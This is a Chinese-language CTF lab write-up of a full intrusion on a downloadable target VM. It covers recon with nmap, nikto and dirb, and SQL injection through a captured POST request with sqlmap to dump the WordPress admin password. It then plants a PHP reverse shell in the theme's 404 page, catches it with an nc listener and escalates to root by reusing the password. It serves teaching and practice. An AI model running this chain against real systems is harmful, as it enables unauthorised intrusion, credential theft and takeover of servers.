打CTF比赛的时候,sql注入算是比较常见的题型,今天来记录一下基于靶机的post注入。
准备工作
靶机下载:
链接:https://pan.baidu.com/s/1o8-25n0LtDTk2w_SgOT2og
提取码:zlqz
漏洞复现过程
- 使用netdiscover发现存活主机
netdidscover -i eth0
- 使用nmap进行主机服务检测
- 发现目标主机开放了80、8080等端口
- 使用nikto进行信息收集
nikto -host http://192.168.101.34
- 分别对80端口和8080端口进行信息收集,在80端口上发现phpmyadmin和login.php文件,8080端口上没有搜索到有用的信息,其中login.php页面可能存在sql注入漏洞
- 再使用dirb进行网站子目录的挖掘
dirb http://192.168.101.34
dirb http://192.168.101.34:8080
- 发现wordpress的后台登录系统(8080)和login.php页面(80)
-
使用burpsuite进行抓包,用户名输入admin,密码随意。并将文件保存为request.raw
-
使用sqlmap进行数据库信息的爆破
先查询数据库信息
sqlmap -r request.raw --level 5 --risk 3 --dbs --dbms mysql --batch
参数说明:
-r:可以将一个post请求方式的数据包保存在一个txt中,sqlmap会通过post方式检测目标。
–level:设置测试等级,最高为5
–risk:风险,值越高,数据就越有可能被篡改
–dbs:列出找到的数据库名称
–dbms:设置当前网站的后台数据库
–batch:批处理,使用默认的选项进行注入,无需用户输入和交互
–dump:导出指定数据表中的内容
–tables:列出爆破的表结构
-C:数据库的列名
-D:对应的数据库
-T:指定对应的数据表
-
获取到7个对应的数据库,其中就包含wordpress8080的数据库
-
使用如下命令对表名进行爆破
sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 --tables --dbms mysql --batch
- 找到wordpress库中有一张users表
- 再进一步对表的值进行爆破,查找到admin的密码,并使用该密码登录wordpress的后台(http://靶机IP:8080/wordpress/wp-login.php)
sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 -T users -C username,password --dump --dbms mysql --batch
- 使用shellcode植入后台404页面(Appearance的editor),使其能反弹webshell,之前笔者在SMB服务泄露中是使用msfvenom命令生成一个php的shellcode代码并植入。今天使用另外一个方法植入恶意代码。
- 进入kali的/usr/share/webshells/php目录中
- 拷贝php-reverse-shell.php文件到桌面
cd /usr/share/webshells/php
cp php-reverse-shell.php /root/Desktop
cd /root/Desktop
- 将文件内的IP地址更改为本机ip,端口更改为4444
- 将php-reverse-shell.php的内容复制到404页面中
- 侦听4444端口
nc -nlvp 4444
- 访问链接:http://靶机IP:8080/wordpress/wp-content/themes/twentythirteen/404.php,webshell反弹
- 优化终端并查看对应权限
python -c "import pty; pty.spawn('/bin/bash')"
su - root
- 尝试提权时,发现需要输入密码,空密码尝试失败。分别查看/etc/passwd和/etc/shadow文件收集用户名信息,但是并不能找到有用的信息。
- 最终尝试使用admin的密码尝试提权,提权成功